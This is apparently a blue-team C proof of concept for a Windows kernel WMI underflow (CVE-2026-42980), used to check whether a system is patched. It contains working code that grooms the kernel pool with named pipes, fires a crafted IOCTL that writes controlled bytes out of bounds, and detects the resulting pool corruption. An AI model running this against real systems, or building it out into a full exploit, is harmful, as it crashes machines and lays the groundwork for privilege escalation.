/*
 * CVE-2026-42980 — Windows Kernel WMI Underflow (WmipQuerySingleMultiple)
 * Blue-team trigger/detector PoC
 *
 * Based on G4sp4rCS's public exploit (https://github.com/G4sp4rCS/CVE-2026-42980-POC),
 * reduced to the trigger + corruption-detection stages (his phases 1-9).
 * It proves reachability of the vulnerable subtraction
 *   nt!WmipQuerySingleMultiple+0x401:  outRemaining -= alignedActualSize
 * WITHOUT building the arbitrary-read / token-swap stages.
 *
 * Bug (per G4sp4rCS writeup, confirmed by our KB5101650 patch diff):
 *   Both WMI serialization loops keep a 32-bit remaining-output counter and
 *   subtract an aligned provider-reported size without checking it fits:
 *     IOCTL 0x22812C -> nt!WmipQueryAllDataMultiple  (sub @ +0x29a)
 *     IOCTL 0x228130 -> nt!WmipQuerySingleMultiple   (sub @ +0x401)  <- used here
 *   If alignedActualSize > outRemaining the counter wraps (e.g. 0x94-0x98 ->
 *   0xFFFFFFFC) and the NEXT WNODE item is serialized out of bounds past the
 *   kernel SystemBuffer. Patch saturates the subtraction to 0 behind
 *   Feature_1045423416.
 *
 * Trigger recipe (two WNODE items in one IOCTL 0x228130):
 *   item[0]: real open WMI instance whose measured size R is NOT 8-aligned;
 *            outLen = R  =>  gate requiredSize=(nameLen+73)&~7 <= R  passes,
 *            but  R - ALIGN8(R) underflows.
 *   item[1]: serialized after the wrap -> OOB WNODE write with controlled
 *            bytes at OOB_WNODE+0x42, landing on a sprayed npfs
 *            NP_DATA_QUEUE_ENTRY (0x30 header + 0xff0 body = 0x1000 chunk;
 *            inLen=0xff0 puts the SystemBuffer in the same pool bucket).
 *   Detection: PeekNamedPipe over-read on the sprayed pipes finds the
 *   corrupted entry (dwRead far beyond the pipe's real content).
 *
 * Expected results:
 *   Pre-patch VM : "[!] VULNERABLE: corrupted pipe found" (a sprayed pipe
 *                  over-reads). Kernel heap corruption has occurred at this
 *                  point -- RUN ONLY IN A SNAPSHOTTED TEST VM; reboot after.
 *   Patched      : counter saturates to 0; no corrupted pipe;
 *                  "[+] No corruption observed -- system appears patched."
 *
 * Build:
 *   cl.exe /W4 poc_cve_2026_42980.c /link Cfgmgr32.lib ole32.lib advapi32.lib
 *   (needs poc_cve_2026_42980_wmi_guids.h next to it — see poc_cve_2026_42980_wmi_guids.h)
 *
 * Author: OnlyFm252 — derived from G4sp4rCS CVE-2026-42980-POC (credit for
 *         the vulnerability analysis and original exploit chain)
 * Date:   2026-07-19
 * CVE:    CVE-2026-42980
 *
 * DISCLAIMER: For defensive security research and blue-team detection
 * validation ONLY. Corrupts kernel pool memory on vulnerable systems by
 * design. Never run outside an isolated, snapshotted VM.
 */

#include <windows.h>
#include <winternl.h>
#include <stdio.h>
#include <cfgmgr32.h>
#include <stdlib.h>
#include <string.h>
#include <objbase.h>
#pragma comment(lib, "Cfgmgr32.lib")
#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "advapi32.lib")

#include "poc_cve_2026_42980_wmi_guids.h"   /* g_wmiGuids[] / WMI_GUIDS_COUNT (from G4sp4rCS) */

/* ---- constants (from the public analysis) ------------------------------ */
#define IOCTL_WMI_QUERY_SINGLE_MULTIPLE  0x00228130u
#define WMI_SYSBUF_INLEN                 0xFF0    /* shapes SystemBuffer bucket */
#define WMI_OUT_SLOP                     0x100
#define WMIGUID_QUERY                    0x00000001
#define WMIGUID_EXECUTE                  0x00000040
#define WF_TOO_SMALL                     0x20
#define DATA_ENTRY_HEADER_SIZE           0x30
#define ENTRY_DATASIZE(x)                ((x) - DATA_ENTRY_HEADER_SIZE)
#define OOBSIZE                          0x4000
#define WMI_WNODE_INSTANCE_DATA_OFFSET   0x42
#define WMI_POOL_CHUNK_STRIDE            0x1000
#define WMI_FIRST_WNODE_DEFAULT_DATASIZE 0x80
#define WMI_SECOND_WNODE_SCRATCH_OFFSET  0x1000
#define WMI_PREFERRED_R                  0x94
#define WMI_PREFERRED_ALIGNED            0x98
#define WMI_REQUIRED_SIZE(dataSize)      (((dataSize) + 73) & ~7u)
#define WMI_ALIGN8(x)                    (((x) + 7) & ~7u)
#define PIPESIZE                         0x1000

/* ---- types -------------------------------------------------------------- */
typedef HANDLE WMIHANDLE;
typedef ULONG (WINAPI *PFN_WmiOpenBlock)(LPGUID, ULONG, WMIHANDLE *);
typedef ULONG (WINAPI *PFN_WmiQueryAllDataW)(WMIHANDLE, ULONG *, PVOID);
static PFN_WmiOpenBlock     pWmiOpenBlock;
static PFN_WmiQueryAllDataW pWmiQueryAllData;

typedef struct { HANDLE r, w; } PIPE_HANDLES;
static PIPE_HANDLES pipes[PIPESIZE];
static PIPE_HANDLES holder;

#pragma pack(push, 8)
typedef struct _WMI_QSM_ITEM {
    UINT64 InstanceCookieOrHandle;  /* +0x00 */
    union {
        ULONG SizeAndFlags;         /* +0x08 */
        struct { USHORT DataSize; USHORT DataFlags; };
    };
    ULONG  Reserved;                /* +0x0C */
    UINT64 InputData;               /* +0x10 user-mode ptr to instance name */
} WMI_QSM_ITEM;
#pragma pack(pop)
C_ASSERT(sizeof(WMI_QSM_ITEM) == 0x18);
#define WMI_QSM_INPUT_HEADER_SIZE 0x08

typedef struct _WMI_RESOLVED_INSTANCE {
    WMIHANDLE handle;
    BYTE*     name;
    USHORT    nameLen;
    ULONG     R;        /* measured unaligned serialized size */
    ULONG     aligned;  /* ALIGN8(R); R != aligned => exploitable slop */
} WMI_RESOLVED_INSTANCE;
static WMI_RESOLVED_INSTANCE g_inst = { 0 };

typedef struct {
    LPBYTE inbuffer, outbuffer, scratch;
    DWORD  inLen, outLen, scratchLen;
} BUFFERS;
static BUFFERS g_buf = { 0 };

/* ---- pipe helpers (from G4sp4rCS helpers.c) ------------------------------ */
static void CreateSprayPipe(PIPE_HANDLES* ph) {
    ph->w = CreateNamedPipeW(L"\\\\.\\pipe\\cve_2026_42980_test",
        PIPE_ACCESS_OUTBOUND | FILE_FLAG_OVERLAPPED,
        PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES,
        (DWORD)-1, (DWORD)-1, 0, NULL);
    ph->r = CreateFileW(L"\\\\.\\pipe\\cve_2026_42980_test",
        GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
}
static void WriteDataEntry(PIPE_HANDLES ph, PVOID data, DWORD32 len) {
    DWORD bw = 0; WriteFile(ph.w, data, ENTRY_DATASIZE(len), &bw, NULL);
}
static void ReadDataEntry(PIPE_HANDLES ph, PVOID buf, DWORD32 len) {
    DWORD br = 0; ReadFile(ph.r, buf, ENTRY_DATASIZE(len), &br, NULL);
}

/* ---- WMI device open (direct + device-interface fallback) ---------------- */
static HANDLE OpenWmiDataDevice(void) {
    HANDLE h = CreateFileW(L"\\\\.\\GLOBALROOT\\Device\\WMIDataDevice",
        GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL, NULL);
    if (h != INVALID_HANDLE_VALUE) return h;

    GUID deviceGuid = { 0x3c0d501a, 0x140b, 0x11d1,
        { 0xb4, 0x0f, 0x00, 0xa0, 0xc9, 0x22, 0x31, 0x96 } };
    WCHAR link[512] = { 0 };
    if (CM_Get_Device_Interface_ListW(&deviceGuid, NULL, link,
            ARRAYSIZE(link), CM_GET_DEVICE_INTERFACE_LIST_ALL_DEVICES) != CR_SUCCESS
        || link[0] == L'\0')
        return INVALID_HANDLE_VALUE;
    return CreateFileW(link, GENERIC_READ | GENERIC_WRITE, 0, NULL,
                       OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
}

/* ---- WMI calibration (measure_R binary search, from G4sp4rCS) ------------ */
static BOOL parse_guid(const wchar_t* s, GUID* g) {
    wchar_t b[64];
    if (s[0] == L'{') return SUCCEEDED(CLSIDFromString((wchar_t*)s, g));
    _snwprintf_s(b, 64, _TRUNCATE, L"{%s}", s);
    return SUCCEEDED(CLSIDFromString(b, g));
}

static BOOL fire_probe(HANDLE dev, WMIHANDLE h, const BYTE* name, USHORT nameLen,
                       ULONG outLen, DWORD* ret, ULONG* flags) {
    ULONG inLen = WMI_QSM_INPUT_HEADER_SIZE + sizeof(WMI_QSM_ITEM);
    BYTE* in = (BYTE*)calloc(1, inLen);
    if (!in) return FALSE;
    *(ULONG*)in = 1;
    WMI_QSM_ITEM* it = (WMI_QSM_ITEM*)(in + WMI_QSM_INPUT_HEADER_SIZE);
    it->InstanceCookieOrHandle = (UINT64)(ULONG_PTR)h;
    it->DataSize = nameLen;
    it->InputData = (UINT64)(ULONG_PTR)name;
    BYTE* out = (BYTE*)calloc(1, (SIZE_T)outLen + 0x2000);
    if (!out) { free(in); return FALSE; }
    DWORD r = 0;
    BOOL ok = DeviceIoControl(dev, IOCTL_WMI_QUERY_SINGLE_MULTIPLE,
                              in, inLen, out, outLen, &r, NULL);
    if (ret) *ret = r;
    if (flags) *flags = (r >= 0x30) ? *(ULONG*)(out + 0x2c) : 0xFFFFFFFF;
    free(in); free(out);
    return ok;
}

static ULONG measure_R(HANDLE dev, WMIHANDLE h, const BYTE* name, USHORT nameLen) {
    DWORD ret; ULONG fl;
    if (!fire_probe(dev, h, name, nameLen, 0x8000, &ret, &fl)) return 0;
    if (fl == 0xFFFFFFFF) return 0;
    ULONG hi = ret ? ret : 0x200, lo = 0x38;
    while (lo < hi) {
        ULONG mid = (lo + hi) / 2;
        DWORD r2; ULONG f2;
        fire_probe(dev, h, name, nameLen, mid, &r2, &f2);
        BOOL tooSmall = (f2 != 0xFFFFFFFF) && (f2 & WF_TOO_SMALL);
        if (tooSmall || f2 == 0xFFFFFFFF) lo = mid + 1; else hi = mid;
    }
    return lo;
}

/*
 * Find the first WMI GUID with an instance whose measured R is NOT 8-aligned
 * (ALIGN8(R) > R => the subtraction R - ALIGN8(R) underflows).
 */
static BOOL ResolveWmiInstance(HANDLE dev, WMI_RESOLVED_INSTANCE* out) {
    ZeroMemory(out, sizeof(*out));
    for (size_t gi = 0; gi < WMI_GUIDS_COUNT; gi++) {
        GUID guid;
        if (!parse_guid(g_wmiGuids[gi], &guid)) continue;
        WMIHANDLE h = NULL;
        if (pWmiOpenBlock(&guid, WMIGUID_QUERY | WMIGUID_EXECUTE, &h) != ERROR_SUCCESS || !h)
            if (pWmiOpenBlock(&guid, WMIGUID_QUERY, &h) != ERROR_SUCCESS || !h) continue;

        ULONG sz = 0x1000;
        BYTE* buf = (BYTE*)malloc(sz);
        if (!buf) { CloseHandle(h); continue; }
        ULONG st = pWmiQueryAllData(h, &sz, buf);
        if (st == ERROR_INSUFFICIENT_BUFFER) {
            free(buf); buf = (BYTE*)malloc(sz);
            if (!buf) { CloseHandle(h); continue; }
            st = pWmiQueryAllData(h, &sz, buf);
        }
        if (st != ERROR_SUCCESS) { free(buf); CloseHandle(h); continue; }

        ULONG icount = *(ULONG*)(buf + 0x34);   /* WNODE_ALL_DATA.InstanceCount */
        ULONG offNO  = *(ULONG*)(buf + 0x38);   /* OffsetInstanceNameOffsets   */
        if (!icount || !offNO || offNO + 4 > sz) { free(buf); CloseHandle(h); continue; }
        ULONG off = *(ULONG*)(buf + offNO);
        if (!off || off + 2 > sz) { free(buf); CloseHandle(h); continue; }
        USHORT len = *(USHORT*)(buf + off);
        if (!len || off + 2 + len > sz || len > 0x400) { free(buf); CloseHandle(h); continue; }
        BYTE* name = (BYTE*)malloc(len);
        if (!name) { free(buf); CloseHandle(h); continue; }
        memcpy(name, buf + off + 2, len);
        free(buf);

        ULONG R = measure_R(dev, h, name, len);
        ULONG A = (ULONG)WMI_ALIGN8(R);
        ULONG required = WMI_REQUIRED_SIZE(len);
        if (!R || R == A || required > R) { free(name); CloseHandle(h); continue; }

        printf("[*] candidate guid#%zu handle=%p nameLen=0x%X required=0x%lX R=0x%lX aligned=0x%lX slop=%lu\n",
               gi, h, len, required, R, A, A - R);
        out->handle = h; out->name = name; out->nameLen = len;
        out->R = R; out->aligned = A;
        return TRUE;
    }
    printf("[-] no WMI GUID with exploitable slop found\n");
    return FALSE;
}

/* ---- the trigger ---------------------------------------------------------- */
static BOOL BuildAndFireTrigger(HANDLE dev) {
    /* outLen MUST equal measured R (unaligned) so the wrap happens */
    g_buf.outLen = g_inst.R;
    free(g_buf.outbuffer);
    g_buf.outbuffer = (LPBYTE)calloc(1, (SIZE_T)g_buf.outLen + WMI_OUT_SLOP);
    if (!g_buf.outbuffer) return FALSE;
    printf("[+] calibrated outLen=0x%X (R=0x%lX aligned=0x%lX slop=%lu)\n",
           g_buf.outLen, g_inst.R, g_inst.aligned, g_inst.aligned - g_inst.R);

    /* second WNODE: dynamic overwrite geometry */
    ULONG phase = (g_inst.aligned + WMI_WNODE_INSTANCE_DATA_OFFSET) & (WMI_POOL_CHUNK_STRIDE - 1);
    ULONG overwriteOff = phase ? (WMI_POOL_CHUNK_STRIDE - phase) : 0;
    USHORT secondSize = (USHORT)(overwriteOff + DATA_ENTRY_HEADER_SIZE);
    BYTE* secondData = g_buf.scratch + WMI_SECOND_WNODE_SCRATCH_OFFSET;
    memset(secondData, 0x41, secondSize);
    printf("[+] overwriteOff=0x%lX secondWnodeDataSize=0x%X\n", overwriteOff, secondSize);

    /* build two-item input */
    ZeroMemory(g_buf.inbuffer, g_buf.inLen);
    *(ULONG*)g_buf.inbuffer = 2;
    WMI_QSM_ITEM* items = (WMI_QSM_ITEM*)(g_buf.inbuffer + WMI_QSM_INPUT_HEADER_SIZE);
    items[0].InstanceCookieOrHandle = (UINT64)(ULONG_PTR)g_inst.handle;
    items[0].DataSize  = g_inst.nameLen;
    items[0].InputData = (UINT64)(ULONG_PTR)g_inst.name;
    items[1].InstanceCookieOrHandle = 0;
    items[1].DataSize  = secondSize;
    items[1].InputData = (UINT64)(ULONG_PTR)secondData;

    printf("[*] firing IOCTL 0x%X inLen=0x%X outLen=0x%X\n",
           IOCTL_WMI_QUERY_SINGLE_MULTIPLE, g_buf.inLen, g_buf.outLen);
    DWORD returned = 0;
    DeviceIoControl(dev, IOCTL_WMI_QUERY_SINGLE_MULTIPLE,
                    g_buf.inbuffer, g_buf.inLen,
                    g_buf.outbuffer, g_buf.outLen, &returned, NULL);
    printf("[*] trigger done: gle=%lu returned=0x%X\n", GetLastError(), returned);
    if (returned >= 0x30) {
        ULONG flags = *(ULONG*)(g_buf.outbuffer + 0x2c);
        if (flags & WF_TOO_SMALL)
            printf("[!] item#0 fell back to WF_TOO_SMALL scratch path -- no underflow this call\n");
    }
    return TRUE;
}

/* ---- main: spray -> hole -> trigger -> detect ----------------------------- */
int main(void) {
    printf("=== CVE-2026-42980 WMI underflow trigger/detector (blue team) ===\n");
    printf("=== RUN ONLY IN A SNAPSHOTTED TEST VM ===\n\n");

    HMODULE adv = LoadLibraryW(L"advapi32.dll");
    pWmiOpenBlock    = (PFN_WmiOpenBlock)GetProcAddress(adv, "WmiOpenBlock");
    pWmiQueryAllData = (PFN_WmiQueryAllDataW)GetProcAddress(adv, "WmiQueryAllDataW");
    if (!pWmiOpenBlock || !pWmiQueryAllData) { printf("[-] WMI APIs unresolved\n"); return 1; }

    /* buffers: inLen 0xff0 shapes the SystemBuffer pool bucket */
    g_buf.inLen = WMI_SYSBUF_INLEN;
    g_buf.scratchLen = 0x10000;
    g_buf.inbuffer = (LPBYTE)calloc(1, g_buf.inLen);
    g_buf.scratch  = (LPBYTE)malloc(g_buf.scratchLen);
    g_buf.outbuffer = NULL;
    if (!g_buf.inbuffer || !g_buf.scratch) { printf("[-] alloc\n"); return 1; }

    /* pool spray: 0x1000 pipes, 3x 0xff0-byte data entries each (NpFr 0x1000 chunks) */
    printf("[*] spraying %d pipes...\n", PIPESIZE);
    BYTE* dummy = (BYTE*)malloc(0x10000);
    memset(dummy, 0x77, 0x10000);
    for (int i = 0; i < PIPESIZE; i++) CreateSprayPipe(&pipes[i]);
    CreateSprayPipe(&holder);
    for (int i = 0; i < PIPESIZE; i++) {
        WriteDataEntry(pipes[i], dummy, 0xff0);
        WriteDataEntry(pipes[i], dummy, 0xff0);
        WriteDataEntry(pipes[i], dummy, 0xff0);
    }
    /* hole for the SystemBuffer */
    ReadDataEntry(pipes[PIPESIZE - 0x80], dummy, 0xff0);

    HANDLE dev = OpenWmiDataDevice();
    if (dev == INVALID_HANDLE_VALUE) { printf("[-] WMIDataDevice open failed %lu\n", GetLastError()); return 1; }
    printf("[+] WMIDataDevice handle %p\n", dev);

    if (!ResolveWmiInstance(dev, &g_inst)) { CloseHandle(dev); return 1; }
    printf("[+] selected instance R=0x%lX aligned=0x%lX slop=%lu\n",
           g_inst.R, g_inst.aligned, g_inst.aligned - g_inst.R);

    BuildAndFireTrigger(dev);
    WriteDataEntry(holder, dummy, 0xff0);   /* stabilize the hole */

    /* detection: a corrupted NP_DATA_QUEUE_ENTRY over-reads */
    int found = -1;
    for (int i = 0; i < PIPESIZE; i++) {
        DWORD dr = 0;
        PeekNamedPipe(pipes[i].r, dummy, OOBSIZE, &dr, NULL, NULL);
        if (dr > OOBSIZE - 0x100) { found = i; break; }
    }

    printf("\n");
    if (found >= 0) {
        printf("[!] VULNERABLE: pipe #%d over-reads -- NP_DATA_QUEUE_ENTRY corrupted.\n", found);
        printf("[!] CVE-2026-42980 triggered; reboot this VM now (pool is corrupt).\n");
    } else {
        printf("[+] No corrupted pipe found -- counter saturated; system appears patched\n");
        printf("[+] (or the pool groom missed; on a known-vulnerable build, reboot and retry).\n");
    }

    CloseHandle(dev);
    free(dummy); free(g_buf.inbuffer); free(g_buf.scratch); free(g_buf.outbuffer);
    if (g_inst.name) free(g_inst.name);
    if (g_inst.handle) CloseHandle(g_inst.handle);
    return found >= 0 ? 1 : 0;
}
